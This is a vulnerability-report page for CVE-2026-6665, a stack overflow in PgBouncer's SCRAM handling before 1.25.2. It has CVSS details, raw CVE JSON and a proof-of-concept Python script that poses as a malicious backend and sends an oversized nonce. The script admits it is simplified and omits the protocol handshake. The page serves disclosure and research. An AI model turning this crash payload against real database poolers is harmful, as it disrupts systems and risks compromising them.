Security Vulnerability Report
中文
CVE-2026-6665 CVSS 8.1 HIGH

CVE-2026-6665

Published: 2026-05-09 01:16:09
Last Modified: 2026-05-09 01:16:09
Source: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Description

The SCRAM code in PgBouncer before 1.25.2 did not check the return value of strlcat() correctly when building the contents of the SCRAM client-final-message. A malicious backend that sends a SCRAM server-final-message with a long nonce can trigger a stack overflow.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PgBouncer < 1.25.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket # Proof of Concept for CVE-2026-6665 # This script simulates a malicious PostgreSQL backend that sends a crafted SCRAM server-final-message. # It targets a PgBouncer instance connecting to it. HOST = '0.0.0.0' PORT = 5433 def exploit(): # Create a malicious SCRAM server-final-message with a long nonce # The message format typically includes 'r=nonce,s=salt,i=iter' # We extend the nonce to trigger the strlcat overflow in PgBouncer overflow_payload = "A" * 10000 malicious_message = f"r={overflow_payload},s=deadbeef,i=4096" with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((HOST, PORT)) s.listen(1) print(f"[+] Malicious backend listening on {PORT}...") conn, addr = s.accept() print(f"[+] Connection accepted from {addr}") # Note: A full PostgreSQL handshake implementation is required to reach the SCRAM stage. # This is a simplified payload transmission example. # In a real exploit, one must complete the StartupMessage and Authentication flow first. try: # Sending the malicious payload during the SCRAM exchange conn.sendall(malicious_message.encode('utf-8')) print("[+] Payload sent. Check PgBouncer for crash.") except Exception as e: print(f"[-] Error: {e}") finally: conn.close() if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6665", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-09T01:16:09.013", "lastModified": "2026-05-09T01:16:09.013", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SCRAM code in PgBouncer before 1.25.2 did not check the return value of strlcat() correctly when building the contents of the SCRAM client-final-message. A malicious backend that sends a SCRAM server-final-message with a long nonce can trigger a stack overflow."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://www.pgbouncer.org/changelog.html#pgbouncer-125x", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}